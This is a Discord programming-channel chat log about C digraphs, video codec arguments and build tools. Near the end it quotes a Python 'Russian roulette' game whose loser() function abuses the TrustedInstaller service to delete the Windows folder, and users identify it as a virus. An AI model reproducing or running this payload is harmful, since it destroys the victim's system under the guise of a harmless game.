🪅-progaming

[jade stone]

i love having to build python2 from source because some people haven't updated yet

[lavish cloud]

It's been 5 years since py2 became EOL, how

[jade stone]

the download button on the homepage leads to a 10+ year old version with the same major and minor version number

i'm just trying to build the docs but am getting fucking xml errors

http://docbook.sourceforge.net/release/xsl/current/html/chunk.xsl

[torn thunder]

Where's Rosalina

[jade stone]

@frosty obsidian is this an internal kotlin compiler error

https://pl.kotl.in/u3KR-qEN-

[ornate quiver]

yop

caused by compose compiler plugin

funny

[austere idol]

why do you ed nix?

[jade stone]

https://github.com/sadan4/antitessie

[jade stone]

filed bug report

[ornate quiver]

nice

[winged mantle]

horror

this has to be something to do with those weird alternative representations of characters

/run

#include <stdio.h>

int main() {
    for (int i = 0; i < 10; ++i) %<
        printf("%d\n", i);
    >%
}

[rugged berry]

@winged mantle I received c(10.2.0) compile errors

file0.code.c: In function 'main':
file0.code.c:4:34: error: expected expression before '%' token
    4 |     for (int i = 0; i < 10; ++i) %<
      |                                  ^
file0.code.c:6:5: error: expected expression before '>' token
    6 |     >%
      |     ^
chmod: cannot access 'a.out': No such file or directory
file0.code.c: In function 'main':
file0.code.c:4:34: error: expected expression before '%' token
    4 |     for (int i = 0; i < 10; ++i) %<
      |                                  ^
file0.code.c:6:5: error: expected expression before '>' token
    6 |     >%
      |     ^
chmod: cannot access 'a.out': No such file or directory

[winged mantle]

guh

maybe this is just a c++ thing

c has trigraphs though

oh ngl i forgot the -- suffix operator exists

x --> 0

is just

x-- > 0

but the slashes...

[tired vigil]

isn't that just escaping a newline or something

[winged mantle]

wait they're backslashes

i didn't notice

but c isn't python...

i thought you only did that in macros

maybe the syntax was added because of macros but it actually works anywhere

anyway here's a cool thing

/run

#include <stdio.h>

int main() {
    for (int i = 0; i < 10; ++i) ??<
        printf("%d\n", i);
    ??>
}

[rugged berry]

Here is your c(10.2.0) output @winged mantle

0
1
2
3
4
5
6
7
8
9

[tired vigil]

in what scenario would you need to use ??> 😭

[winged mantle]

your keyboard doesn't have {

[woven mesa]

attributegraph

[tired vigil]

what if my keyboard doesn't have ? and >

[winged mantle]

then use {

[woven mesa]

same,,

[tired vigil]

trol

[winged mantle]

i used to have The C Programming Language which explained it a bit better

[valid jetty]

i still have it

[austere idol]

/run

%:include <stdio.h>

int main() <%
    char array<:5:>;
    array<:0:> = 'a';
    array<:1:> = 'b';
    array<:2:> = 'c';
    array<:3:> = 'g';
    array<:4:> = 0;

    printf("%s\n", array);
%>

[rugged berry]

Here is your c(10.2.0) output @austere idol

abcg

[winged mantle]

why doesn't this link...

/run

#include <stdio.h>
#include <string.h>
#include <iostream>

int main() {
    int i;i xor_eq i;i xor_eq 012;
    while (i \
              \
               \
                \
                 --> 0) <%
        char c[3];
        char*d=c;strcpy(d, ""),strcpy(++d, ""),strcpy(++d, ""); (--d)--;
        *d xor_eq 060 or i, *++d xor_eq 012, puts(--d);
    %>
}

[rugged berry]

Here is your c++(10.2.0) output @winged mantle

[winged mantle]

it should be printing at least

[fleet cedar]

Why? It runs zero iterations

[winged mantle]

oh

forgot to set i to a larger number

at least i got some boxes

[lavish frigate]

Idk

[torn thunder]

poser.....

[tired vigil]

/run

%:include <stdio.h>

int main() <%
    char array<:5:>;
    0<:array:> = 'a';
    1<:array:> = 'b';
    2:array:> = 'c';
    3<:array:> = 'g';
    4<:array:> = 0;
    printf("%s\n", array);
%>

[rugged berry]

@tired vigil I received c(10.2.0) compile errors

file0.code.c: In function 'main':
file0.code.c:7:6: error: expected ';' before ':' token
    7 |     2:array:> = 'c';
      |      ^
      |      ;
file0.code.c:7:12: error: expected statement before ']' token
    7 |     2:array:> = 'c';
      |            ^~
file0.code.c:7:15: error: expected expression before '=' token
    7 |     2:array:> = 'c';
      |               ^
chmod: cannot access 'a.out': No such file or directory
file0.code.c: In function 'main':
file0.code.c:7:6: error: expected ';' before ':' token
    7 |     2:array:> = 'c';
      |      ^
      |      ;
file0.code.c:7:12: error: expected statement before ']' token
    7 |     2:array:> = 'c';
      |            ^~
file0.code.c:7:15: error: expected expression before '=' token
    7 |     2:array:> = 'c';
      |               ^
chmod: cannot access 'a.out': No such file or directory

[tired vigil]

is the index[array] syntax banned now

[valid jetty]

no

it’s just a parsing bug

1 < makes it think it’s an arithmetic expression

or no

they just have a syntax error

/run

%:include <stdio.h>

int main() <%
    char array<:5:>;
    0<:array:> = 'a';
    1<:array:> = 'b';
    2<:array:> = 'c';
    3<:array:> = 'g';
    4<:array:> = 0;
    printf("%s\n", array);
%>

[rugged berry]

Here is your c(10.2.0) output @valid jetty

abcg

[valid jetty]

lol

[crimson sparrow]

that looks incredibly cursed

[winged mantle]

i love

[lusty wagon]

Vro what

[hoary sluice]

honey you are lying in the first paragraph

its primary goal is being silly

[austere idol]

"hello" print;

[valid jetty]

https://pypi.org/project/stackoverflow/

[valid jetty]

this is genuinely how a stack based language would look

like forth

[tired vigil]

my plugin just reached 5000 lines of code

[supple whale]

what is this?

[fleet cedar]

Looks like tokei

[tired vigil]

cloc cli tool on windows

[supple whale]

i got 1k lines of whitespace lol

actually

ah most of those comments is a single file which i just commented out

and then eslint disables kekw

[tired vigil]

Oh looks like you beat me lmao
What project is that?

[supple whale]

well... its a third of my project

as its split into a fuckload of repos

https://github.com/thaunknown/miru

cuz then there's the electron native repo, then there's the IPC repo, and then there's the webtorrent repo [which is also split into like 20 other repos], and then there's the wasm repo....

and yeaaaah

kill me pls

XD

but yeh, not a vc plugin

my vc plugins max out at like 50 loc

it doesnt take much for me to be satisfied discord improvements xd

[tired vigil]

That looks interesting, does it require any setup?

[supple whale]

the repo?

this one

each one has its own build requirments

but they are for the most part all the same

install, run dev cmd, run test cmd

[tired vigil]

Can I just download the exe file

[supple whale]

some use NAPI, so they require python and vs build tools, which node/npm comes with

[supple whale]

oh for the app itself

yeah

its made for idiots who dont know what a computor is

so its veeeeeeeeery idiot and user friendly

advert, sorry, i know, but it was asked for https://hayase.watch/download/

[tired vigil]

Ngl I always use streaming websites because of the convenience, but this looks hella nice

[supple whale]

well this will use... x40 the amt of data

since an average streaming site episode is.... 100MB?

and the worst torrent is 1GB

and best is 9GB

per episode

[tired vigil]

I'm sure my internet can handle this... Maybe

[supple whale]

the setup verifies if it can or cant

and will warn you

again, idiot friendly

dw this app GIGA holds ur hand

I love this setup page, it so pretty

[valid jetty]

:3

[tired vigil]

That's insane

Also why does it use rust, C and elle all at once

Wait I'm confused is that just from markdown codeblocks

[shrewd canopy]

My guess would be rust for compiler itself, C and elle for tests

[tired vigil]

Ohh

[spark tiger]

how does it kno elle

[valid jetty]

i added it to tokei

[spark tiger]

oh ic

[crude star]

273 flies

🪰

[valid jetty]

yep..

[spark tiger]

[valid jetty]

markdown has C inside

idk about the markdown inside rust files

[tired vigil]

markdown inside rust inside markdown inside c...

[valid jetty]

[ivory heath]

insane. were hitting the point where anime look great < 250MB and live action under 2gb

[supple whale]

yeah

the target is "best possible"

not "great"

so for the most part its just bd remuxes

thats simply how seadex wills it

[ivory heath]

seadex..... eternal shit encodes
seriouslly tho how are you getting 9GB per ep unless its a 100GB blueray (which is rare) with ONLY 10 eps on it

OH LMAO

[supple whale]

which is rare

most fucking clueless statement since sliced bread

[supple whale]

i don't mod any of the data, i'm the lead dev of the site, so i'm simply listed cuz i have admin access

[ivory heath]

For anime its super fucking rare.

new Live action HDR giga ulta 4k sure

[supple whale]

sir i just litsted u like 20TB of content where its not rare

you just dont use it because you prefer av1 on an lcd

that's fine

4k OLED TV enjoyers like to enjoy best quality possible, its what they paid for

there's 0 value in loosing quality for us

[ivory heath]

....

dude im on a 4k 240hz 32 inch oled

[supple whale]

great, and if you think that a 250MB AV1 vs a 9GB BD has no difference, then you've wasted your money

[ivory heath]

I never said they had no different, just very little.
I also assume youre thinking of old av1 encodes, not the bleeding edge

[supple whale]

I'm only interested in shit which people are actually willing to spend time on

which isnt the AV1 bleeding edge, as I've mentioned before, the encode times are unreasonable, and no fan subber would be willing to waste their life waiting for it

so yeah, as i said

up to 9GB in the most extreme cases

because those 250MB encodes you benched your bleeding edge encoder on, arent available, and arent used, so while great in theory, are even rarer than those "rare" 9GB BD remuxes

[ivory heath]

Like i said, youre thinking of encoder encodes and encoders.
libsvt-av1 can beat x265 in raw detail preservation and efficiency and speed all at the same time.

[supple whale]

yes, it can, but

[supple whale]

.

[ivory heath]

You gave this as a reason as why people aren't interested in which is just bullshit .

the encode times are unreasonable

[supple whale]

that will probably change in the future, maybe, but so far anime av1 encodes are meme quality at best, and about their best use is 8MB discord embeds

[supple whale]

yes sir, i'm not making my PC unusable for 10h+ just to encode an episode

and i'm not paying $900 for a cpu which can do it in 5h

[ivory heath]

svt isnt that slow. are you thinking of 1.0.0 libaom?

[supple whale]

and not people, but encoders

because its the consumers who make releases, but encoders or fansubbers

and the current av1 releases are a joke

so yeah, as i said, this will probably change in the future, once av1 encoders support hw accel in any reasonable amt, the hardware for it becomes more widely adopted, and the encoders arent restricted to $1000 NVIDIA GPUs, or less than stable intel GPUs with no encoding parameters,

but for now its just nice "benchmarked theory"

because regardless of how insanely good av1 is, it doesnt change the fact that there are NO av1 releases, just web re-encodes

which is why we're staying at said 9GB raws for now, because even that people cant be asked encoding

[ivory heath]

< 10% gain from preset 2 to -1
even less so for preset 2 to -1
SVT requires higher crf values on average because its scale isnt 0-53 its 0-7X. 40 is however high. The specific persons releases you're screenshotting targets smaller but acceptable encodes
--aq-mode 2 isnt equivalent to x26* aq-mode, neither --psy-rd . I dont really get your point for pasting all the settings used

[pseudo perch]

All this yap, but no proof of real encodes.

[supple whale]

this is great!

again, no releases

so????

[ivory heath]

Because most encoders use outdated knowledge from doom9 sadly

[supple whale]

post some image comps and we can talk

or simply go to https://ravencentric.cc/seadex-data-refinement/unmuxed.html and mux/encode those releases yourself, and they'll 100% be used on seadex if they are even remotely as close as you're showing

[alpine pecan]

i wouldn't argue with retards

[supple whale]

hm?

[alpine pecan]

"which is rare" should have ended the convo right there

[supple whale]

he's objectively correct, i just dont understand why he had to go out of his way to insult me, and the work of dozens other people

[supple whale]

because thats the entire thing, its not rare

he's just hallucinating that is is, with theory, because I assume he imagines that people simply use the best available tech at any given time, rather than whats most commonly avaialble

[supple whale]

and its very much not rare.

#1 184 entries at a 81GB average

thats... rare?

and thats a single releaser!

out of dozens!

[supple whale]

but yeah this.

he's very much right AV1 has potential, but simply noone uses it, because its not in a state of doing so just yet, for MANY factors

[ivory heath]

Here is svt beating x265 in borne at a lower bitrate. Took a while to find because no one really cares about x265 anymore
https://slow.pics/c/fk2lWH5t

[ivory heath]

When did i insult you

[supple whale]

and that is in no way reason to dismiss other people's work, or existing releases

[supple whale]

right

[supple whale]

here.

[alpine pecan]

av1 has no place in high quality releases just like x265 (at least outside of anime) does not

[ivory heath]

It was funny saying shit about seadex and then seeing you worked on it, it was not a personal attack on you. Some of the encoders on seadex use questionable settings

[supple whale]

seadex doesnt encode

it simply aggregates the best AVAILABLE releases for anime the community has created

into a single database

[ivory heath]

yes, the encodes on seadex

[supple whale]

you said encoders

not encodes

::^)

[supple whale]

mmm thats highly unforunate as you dont provide the base you worked against, so you might as well be comping against thin air, comp against raw, or a well established good release for a given target

anyways, as i said, the potential of AV1 is not the problem

i never said its not good

i said its not usable by people in its current state, because its the encoders that decide what codecs are used

[ivory heath]

its the BD release

[supple whale]

BDs dont release in HEVC

unless you're suggesting you suddently re-encoded that hevc release into av1 and magically improved the quality

which would be even more sus

[ivory heath]

nearly all 4k and HDR bluerays are HEVC.

im not sure how you could get that wrong

[supple whale]

i meant that bd

because bourne ultimatum was not releasaed in HEVC

[ivory heath]

yes the two screenshots are re encodes

[supple whale]

which is why i said

[ivory heath]

you said BDs in general ::^)::^)::^)

[supple whale]

you're comparing against thin air

because that HEVC encode is pretty much useless as a comp

comp raw, your hevc, a well established good hevc encode and av1

thats a proper comp

ex: https://slow.pics/c/Iz1WW1bu

skewing results and data reaaaaaaally isnt difficult

shit, thats what all of uni is about

[ivory heath]

the BD is the source if you wanna compare to that.
You are being pedanic for the sake of protecting HEVC encodes which is normal

Svt does obviouslly preserve the grain in the original film without artifacting in that test.

[ivory heath]

a well established good hevc encode
I assume you say it like this because you think encoders are some kinda gods of encoders or the like

most of them if you read doom9 have no idea what the hell theyre doing

[supple whale]

no, thats your job, thats the job making the comp, i wont be advocating your skewed and manipulated results, i'm being pedantic because of the fact you're trying to manipulate results, for which i dont care

and i never said hevc is better than av1, in fact i said 4 times that av1 is great, but its not usable for encoders because its not well adopted enough for hw acceleration yet

[supple whale]

no, i'm simply saying you're skewing results, to make yourself look better, to win your own, non-existent argument

because you keep glazing av1, when the topic is "no1 is making av1 encodes because it takes too much time" and not "no1 is making av1 encodes because its bad"

[ivory heath]

not well adopted enough for hw acceleration yet
nearly everthing supports it and software decoding is well beyond mature enough to be used as a replacement.
Unless we still care about burning encodes to dvd to play them back

[supple whale]

deocding doesnt matter

[ivory heath]

av1 isnt slow, im not sure where you got this information

[supple whale]

because decoders dont make the encodes

its the encoders

[ivory heath]

It was slow, this is the same complaints people made when x264 and x265 were new

[supple whale]

its an order of magnitude or two slower than a HW accelerated HEVC encoder

[supple whale]

yes, and then x265 got hw accelerated encoding

which is what av1 is waiting for now

[ivory heath]

when you say x265 do you mean HEVC or h.264?
Because x265 is only a software encoder
also none of the encoders who are taken seriously use hardware because of how dogshit it is and is even worse at preserving detail due to hyper tunning for metrics like PSNR

[supple whale]

i mean hevc sorry

that was back during the GTX 10 series, which is when HEVC got good hardware encoders, and its only gotten adopted in encoding a few years ago, and av1 is JUST RIGHT NOW getting good hardware encoders, so its a while off adoption

[ivory heath]

I dont know why the hell you think you need a compute farm to get decent av1 encodes. I can encode anime eps all day in real time and get a whole season done in a few hours

[lavish frigate]

@ivory heath do you know if there is a format like svgs but in binary instead of text (to save space..?), just out of curiosity

[supple whale]

welp your list of serious encoders is a lot different than the list of people who actually encode anime

[supple whale]

you dont, but most encoders arent ballers who spend money on gpus, and do this shit for free in their spare time for fun, they dont chase max codec perf like you are

[ivory heath]

most people just GZIP it via ssl

[supple whale]

and they defo wont waste days trying av1 encodes

when they can just hevc it in 10 seconds

[lavish frigate]

hmm

[ivory heath]

but most encoders arent ballers who spend money on gpus
gpus are the worse at video encoding period?

[supple whale]

yes

but they are faster!

again, your av1 dellusions is a LOT different from what the market actually shows

because you can come up with ALLLLLLL the excuses in the world

the fact of the matter is, there's not a SINGLE av1 BD encode available for anime

[lavish frigate]

i think i wanna actually make something like that myself if it doesnt exist then just out of fun & learning how formats work / how to efficiently decode and use formats

[supple whale]

that isnt in one form or another a meme

[alpine pecan]

not just for anime

[ivory heath]

there are plenly of good BD av1 encodes. Im not sure why youre glazing HEVC so much.
I would like to see proof of av1 being shit that isnt encodes from like HAV1T from 4 years ago

[supple whale]

well i can from experience only speak for the anime shit, since i dont know western market much

[shrewd canopy]

Bruh

[ivory heath]

hm?

[supple whale]

NO YOU IDIOT THERE ARE NOT, ALL AV1 ENCODES ON NYAA ARE WEB MINI REENCODES, IM NOT GLAZING HEVC YOU MORON LEARN TO READ, IM SAYING AV1 SIMPLY DOESNT HAVE ANY ADOPTION ON THE MARKET

ARE YOU IN THIS CONVERSATIOn

AM I FUCKING TALKING TO A WALL

[shrewd canopy]

Just saw another videocodec war

[ivory heath]

oh fair

[supple whale]

its not even a war, its just him going "AV1 SO GOOD SOOO GOOD" and me going "what... are you talking about? we're not even comparing codecs????"

[ivory heath]

thats not an entirely honest summary

[supple whale]

it is, i legit said "oh yeah on the extreme you'll have 9GB per ep raws"

you go "LMAO HOW DO U GET 9GB THAT SHIT DOESNT EXIST WE'RE USING 250MB AV1S" and then provided to list not a single one

and kept saying "youre just HEVC glazing" when i just kept saying that there are simply no av1 releases

and never once menioned that hevc is good, actually even the other way around

all there is trix, which provides some mediocre quality av1 encodes at best, with often less than great audio and subs

[ivory heath]

Because the people encoding are not actually involved in any sorta encoding circle besides filtering because

1. they dont give a shit
2. theyre low effort
3. they read doom9 which is just a cest pit of wrong information and canceling.

Thats all i said. My real issue was you spreading misinformation about av1 encoding times

[supple whale]

YES

YES

THATS EXACTLY IT

[ivory heath]

I dont like trixs encodes as well or him as a person

[supple whale]

they dont fucking care, because they dont have the time to waste on shit like that, they just want to publish something this year, and move on to the next elease

[ivory heath]

you said it was because of encoding times however. which is wrong

[supple whale]

and yet those are the only non-shit av1 encodes that are available on nyaa, which drives my point even further

[ivory heath]

because sadly nyaa.si stop accepting sign ups and trix just happened to have an account before they stopped

[supple whale]

and neither does any other anime tracker

jesus bro

stop arguing with yourself

[lavish frigate]

u r all nerds

[ivory heath]

im not?

[ivory heath]

i had issue with this, this is the whole point of the argument

[crude star]

i store all frames as uncompressed bitmaps idk bout yall

[ivory heath]

same

btrfs compression is good enough

[crude star]

btrfs compression is amazing

you write 10gb and it gets stored as 0 bytes due to corruption

[ivory heath]

only in raid

[supple whale]

and for all i care it could be pied piper dick jerk based compression, it doesnt matter if there are no releases

[ivory heath]

okay

[ivory heath]

youre still wrong about this

[ivory heath]

.

[supple whale]

yes i know i'm wrong abou the fact that HEVC HW based encoders are faster than software av1 encoders

and you're the best encoder in the world

and av1 is the greatest which is why noone uses it

thank you

[ivory heath]

no one uses hw encoders

[supple whale]

except most encodes on nyaa

good night

and even then

most people dont even bother encoding

which is where the original 9GB video BD rip size comes from

from the very start of the conversation

because most cant even be asked waiting for a HW encode

let alone a SW encode

[alpine pecan]

state of the art comp https://slow.pics/c/wMSONnXX

FUCK your grain who needs that shit?

techbros need to fuck off video encoding and every other aspect of life

[lavish frigate]

what if we use ai for image decoding

and video decoding

idk

[supple whale]

Nvidia already made that

[crude star]

just ask chatgpt to recreate the video

[ivory heath]

blurs more than what fawn is bitching about

cause nvidia like their HW encoders tuned it for PSNR

[supple whale]

https://blogs.nvidia.com/blog/rtx-video-super-resolution/

truly awful

[lavish frigate]

super resolution actually works great for video

mostly because its a video and you arent gonna zoom in to point out all the artifacts every 2 seconds

[alpine pecan]

true though no good encode uses hw

[ionic lake]

when will nvidia stop putting "game ready" in their press releases, everyone knows they dont give a shit about gaming

[alpine pecan]

otherwise what a brainwashed one sided convo

comping an encode with an encode :D

[ivory heath]

this is upscaling, i assume they meant to ML encode to decode

[ionic lake]

i will encode you

[crude star]

everything on the internet is bait or slop

[alpine pecan]

better use x264

[supple whale]

oh lawd please no

[lavish frigate]

game ready is the name of their drivers, you choose between game ready optimised for gaming (includes the rtx stuff) or studio driver which is for creative stuff like modelling, video rendering, etc.

[alpine pecan]

this is true

[crude star]

simply do not argue

[ionic lake]

are you bait or slop

[crude star]

im rini

[alpine pecan]

baitslop

[ionic lake]

i know

[lavish frigate]

thats why they wont stop putting in game ready since it only affects the people who gayme

[ivory heath]

I do have a vested interest in the unknown not promoting false information of av1 due to being invested in libsvt-av1, av1an, x26* development myself

[supple whale]

there's no false information, there are no good anime av1 releases, WHICH DOESN'T MEAN that av1 isn't good, it means NO ENCODER IS USING IT

[alpine pecan]

(because it isn't good)

[supple whale]

and saying that 9GB raws exist is also NOT false information

[crude star]

im invested in vencord development and i always put up false information about it

[supple whale]

so get it head out of ur ass for fucks sake

[ivory heath]

i never argued against that, i agree trix sucks.
Im arguing against av1 taking longer to encode and youre malicious assumption that release groups use hw encoders for some reason.

They either release the raw, or shitty x264 encodes half the time. A old past time of mine was looking at the metadata and making fun of them using bad settings

[ionic lake]

youre a investor in vencord inc?

[lavish frigate]

av1 is bad because im racist but towards file types all images on my pc should be png, all videos on my pc should be mp4 and all audio on my pc should be ALAC

[crude star]

i own 50% shares

[alpine pecan]

hi chloe

[ionic lake]

can i have some

[lavish frigate]

hiii

[supple whale]

uhuh, sure Mr I pivot my arguments because I lost the convo

[crude star]

2 dollar

[ionic lake]

thanks!

[ivory heath]

na, you just misrepresented me and are coping to not admit youre wrong about av1 encode times

[supple whale]

mf, and the fact of the matter is noone is using av1

so say whatever you want

[ivory heath]

im telling you that everything should be stored in ffv1 or bitmap. the two best formats fortold by god himself

[supple whale]

there are no av1 releases for anime

you're just a fucking brick wall

[ionic lake]

you guys remind me of the animepiracy discord

[ivory heath]

because for reasons we agree on

[ionic lake]

unknown prob knows

[crude star]

x265 >>>>
-# User was banned for this post

[supple whale]

dude it's insane, I don't remember the last time a mf headcomped so many arguments

well I know, it was ap

XD

[alpine pecan]

are u on ab

[supple whale]

nah, I was invited but never accepted, I CBA keeping track of ratio, activity etc to make sure I don't get banned

[crude star]

biracy

[alpine pecan]

it's not really hard to maintain ratio there though

[supple whale]

and I also code my own torrent clients, which would also get me banned since they have an allowlist

[alpine pecan]

true

[supple whale]

so meh, interest for it was low

[ionic lake]

cant you just spoof yourself

[alpine pecan]

well it just wouldn't connect you won't get in trouble but

[supple whale]

yeaaawh, but it's gotta be in the back of your head one way or another

[ionic lake]

im just asking, i dont know the specifics

[alpine pecan]

ig snackstare~1

[supple whale]

yeah, but that means not being able to use actually useful torrent clients

[supple whale]

yes you can, but it is possible to detect that based on behavior like piece and peer selections, extension and flags

which is yet another thing to worry about

just... not worth

[ionic lake]

ah yeah

[supple whale]

I've been fine with nyaa for all 1k anime I watched

except.... for 2 I think

both were GIGA old

[crude star]

how to spoof a client

1. use the client

[supple whale]

read or die and smth else I can't remember

[supple whale]

yes but .

most torrent clients are fucking dogshit for automation or integrations

[crude star]

im ragebaiting i use aria2 for my torrents

[alpine pecan]

that's fucked up

[supple whale]

which is why I made this.

[ivory heath]

same

[crude star]

im unable to seed anyway

[supple whale]

BitComet is where it's at

[alpine pecan]

tasty bloat

[crude star]

% aria2c <url>

downloaded

easy

[supple whale]

however real ogs use bitwombat

https://cdn.discordapp.com/attachments/1262474560457015327/1389354491349962762/summary.png?ex=686ae833&is=686996b3&hm=78ea0d3911087b655d7bd4c950f9d123daee6d967631b8be46b1ed84e536b05c&

ah yes, good old bitwombat

[ionic lake]

@supple whale do you know wotaku

[supple whale]

somewhat

[crude star]

mb

[supple whale]

WTF THEY REMOVED ME

[ionic lake]

huh what

nah you dont look to be kicked or anything

probably went with the prunes

[supple whale]

nah they just replaced me with a fork of my own app

wtf that's fucked up

[ionic lake]

whats that fork about

[supple whale]

ah nvm

[supple whale]

just my app plus extra dogshit features

and android app for free because fuck supporting the original developers right?

[supple whale]

sorry it's a fork of a giga old version

so it's got none of the new shit

[ionic lake]

lol

[supple whale]

and it uses my api

which I pay for

damn I wonder what would happen if my api suddenly got basic security

[crude star]

do it for the bit

[supple whale]

[native spruce]

smooth

[winged mantle]

what if markdown extension to execute code inside codeblock

# Hello world!

​`​``!c
#include <stdio.h>

int main() {
    puts("## This subheading is generated from C code");
}
`​``

[dense sand]

I think this is more of a thing of a the markdown renderer

[ionic lake]

already exists in some places

[dense sand]

You can really add this without intervening the actual syntax of md

[ionic lake]

most of them call a external sandbox api, othertimes its something like pyodide which can run in the browser

[valid jetty]

so… metaprogramming

[winged mantle]

no

rce

[valid jetty]

no

inserting things into the markdown file is metaprogramming

it would be rce if you could just run the code of a snippet and get an output

but because it’s reinserting markdown back into the file it’s considered metaprogramming

[austere idol]

more like ace

vulenability is not always a bad thing

[tired vigil]

that's kinda like typst
u can just write a macro to replace content with other content

[valid jetty]

well typst is more powerful than that

you can do contextual stuff which does type erasure but allows you to render something different depending on the context like language and position on the page and stuff

it’s great

[tired vigil]

I experimented a bit with it but idk what to actually use it for 😭
idk if my school would allow using it for assignments

also the lack of explicit types is kinda annoying

they should just add typescript to typst

or nah

something more powerful

with higher kinded types and bidirectional inferance and stuff like that

so u can do meta meta programming

academic writing should be all about writing 10 pages of custom types for the most basic shit

[brittle frigate]

you can explicitly check types fwiw

https://typst.app/docs/reference/foundations/type/

[shrewd canopy]

C++ templates

[tired vigil]

oh but like you can't specify that your function only accepts specific types at compile time

[brittle frigate]

yeah

i too find that a bit cumbersome to work with at times

[winged mantle]

horror

why is this legal

int do_thing(int(my_int)) {
    return my_int + 1;
}

[valid jetty]

in c++ you can init things as Class foo(constructor_args) so it doesn’t know whether that’s an initialization of a class or the interface of a function at the parsing level

therefore you can disambiguate with parens

[winged mantle]

but parens inside function declaration makes no sense

[winged mantle]

what's the use case

why at the parsing level can it not invalidate int(my_int) in function defs

[valid jetty]

no, int(x) is the disambiguation

[valid jetty]

^^^

[winged mantle]

this defines a function

why would you use this to declare a parameter of type iter called stream

you'd just do Iter stream if you were triyng to do that

ah, it's implemented for the sake of function pointers

still doesn't make sense, just make it invalid if you don't then have a following open paren

ig they can't change without breaking compat

there's no reason you can't just make it so that

void run(void (*f)()) {
}

is legal on the parsing level but

void run(void (f)) {
}

is not

anyway, easy fix, just use {}

[lavish cloud]

how does one cmake

[winged mantle]

don't

[lavish cloud]

then what do I do

gradle?

[fleet cedar]

Not recommended

[lavish cloud]

all other build systems are ass tho

[winged mantle]

idk cargo but delete /usr/bin/rustc and replace it with g++

to trick it into using g++ instead of rustc

[lavish cloud]

is that in response to me?

[winged mantle]

yes

[lavish cloud]

because idk what cargo and rustc are

I just use devkitpro's gcc impl atm

[winged mantle]

trick rust's build tool into using c/c++ compiler

[lavish frigate]

crazy

[lavish cloud]

but that means using rust's build tool which I only remember as being horrible

If it wasn't for needing to use libraries that use cmake I'd be using gradle already

[lavish frigate]

cargo is like one of the better build systems out there

[fleet cedar]

Cargo is the least painful build tool

[lavish frigate]

the cargo experience is very good imo

[lavish cloud]

isnt cargo a toml file

how do you even create a custom task with that

[fleet cedar]

If you need custom pre-build stuff, that's build.rs

[lavish cloud]

but that requires using rust for build logic 🤢

[fleet cedar]

Nope

It's rust for pre-build logic

[lavish cloud]

[fleet cedar]

The build is all handled by cargo

[lavish cloud]

either way

libraries kinda need me to use cmake

[winged mantle]

if JSON is more your style just use NPM

{
    "scripts": {
        "clean": "rm -rf target",
        "all": "npm run build",
        "build": "g++ -Otarget/myapp -Lnode_modules/* -Inode_modules/* -lsomelib src/**/*.cpp src/**/*.hpp src/**/*.h"
    }
}

[lavish cloud]

but idk how to register tasks and configure them later or when needed

[lavish frigate]

can you please add linting too

[fleet cedar]

Any build system with "tasks" is overengineered imo

[lavish cloud]

like I said my preferred style is gradle
it just makes sense and is easy to use for anything

[lavish frigate]

i think we should also put the c++ code through prettier

[lavish cloud]

what the fuck```cpp
/opt/devkitpro/devkitA64/aarch64-none-elf/include/c++/15.1.0/bits/stl_construct.h:99:21: error: invalid conversion from 'const void*' to 'void*' [-fpermissive]
99 | void* __loc = __location;
| ^~~~~~~~~~
| |
| const void*

[winged mantle]

just package every library as an npm package that contains header files

and libraries build for every platform

[crude star]

it can do that

[winged mantle]

oh

with crust?

or whatever rust's version of cgo is

[crude star]

cbindgen or something

well you can run whatever you want from a build.rs script

[austere idol]

why not bash then?

[ornate quiver]

husk cargo is the best tool I've ever used

even compared to gradle

[crude star]

gradle is the worst software ever

[shrewd canopy]

can confirm since it gave > Type V not present today

[ornate quiver]

nop

gradle is actually really really nice to use once you understand how it works

super flexible, extendable, and configurable

[crude star]

i understand how rusher works

the most configurable build system will always be shell scripts

[ornate quiver]

I used to despise gradle until I met msbuild
realized how good we have it

[frosty obsidian]

too bad it treats my ram as an all-you-can-eat buffet

[nimble bone]

npm

[ornate quiver]

that's not even a build tool

[tired vigil]

is bun a build tool

am I a build tool?

[winged mantle]

i don't like gradle because it would always eat my ram

going on to the tasks tab on eclipse would start a billion gradle daemons

[crude star]

im replacing gradlew with malware

[royal nymph]

gradle is good but the fact that it's so slow and uses so much ram makes it worse and something i dont like using

rewrite gradle in rust soon

[crude star]

rewrite gradle in groovy

so you get more gradle per gradle

[valid jetty]

import random
a = random.randint(1,6)

try:
    n = input("Enter a number 1 to 6.")
    try:
        m = int(n)
        if m <= 0 or m >= 7:
            raise Exception("invalid number entered")
        if m != a:
            print("As you pull the trigger, you hear a click and nothing happens.")
            print("You win!")
            exit()
        else:
            print("You pull the trigger and everything goes black.")
            print("You lose.")
            loser()
            exit()
    except:
        print("Deciding this game isn't worth your time, you pull out a Colt 1911 and do the deed.")
        print("While you may have died, you never played the game, so you do not lose.")
        exit()
except KeyboardInterrupt:
    print("Chicken.")
    exit()
except:
    exit()

what is this 😭

def loser():
    # set trustedinstaller to cmd
    subprocess.call([r"C:\Windows\system32\cmd.exe", r"/c", r'sc.exe config TrustedInstaller binPath="C:\windows\system32\cmd.exe"'])
    # delete windows folder :)
    subprocess.call([r"C:\Windows\system32\cmd.exe", r"/c", r'sc.exe start TrustedInstaller "/c" "del /fq C:\windows"'])

[frosty obsidian]

i don't mean to alarm you but

[crude star]

virus

[spark tiger]

wtf is groovy

the music bot?

[shrewd canopy]

Groovy is like java but pythonized

[frosty obsidian]

groovy is like if java got drunk

[spark tiger]

why the fuck do they all use it??

[ivory heath]

cause apache made it

[frosty obsidian]

that google logo is over a decade old

[spark tiger]

wait how old is groovy

2003 okay

[ornate quiver]

it's an ancient and outdated language that nobody likes

never even heard of it until gradle

[violet monolith]

I should go to jail for this (when you only know python but want to make it look like you know java)

[violet monolith]

so basically what I just created /j

[lavish frigate]

u should go to jail for using python

[shrewd canopy]

we already had a tool for this called "Jython"

[shrewd canopy]

Is that RustScript

[lavish frigate]

ya

[gilded surge]

wth is rustscript

[lavish frigate]

those are rust options implemented in typescript

rustscript

[gilded surge]

mild horror

i did not need to see javascript-adjacent + rust

[lavish frigate]

options are actually good though and imo a lot better than null

[valid jetty]

i did my own too

type safe tho

and cleaner to read

the impl is pretty tiny

type Option<T> = { 
    __internal__: {
        value: T | null,
        some: boolean
    }
    unwrap(): T,
    unwrap_or(value: T): T,
    expect(message: string): T,
    is_some(): boolean,
    is_none(): boolean
}

const None = {
    __internal__: {
        value: null,
        some: false
    },

    unwrap() {
        if (this.__internal__.value === null) {
            throw new Error("Attempted to unwrap on a None variant.");
        }

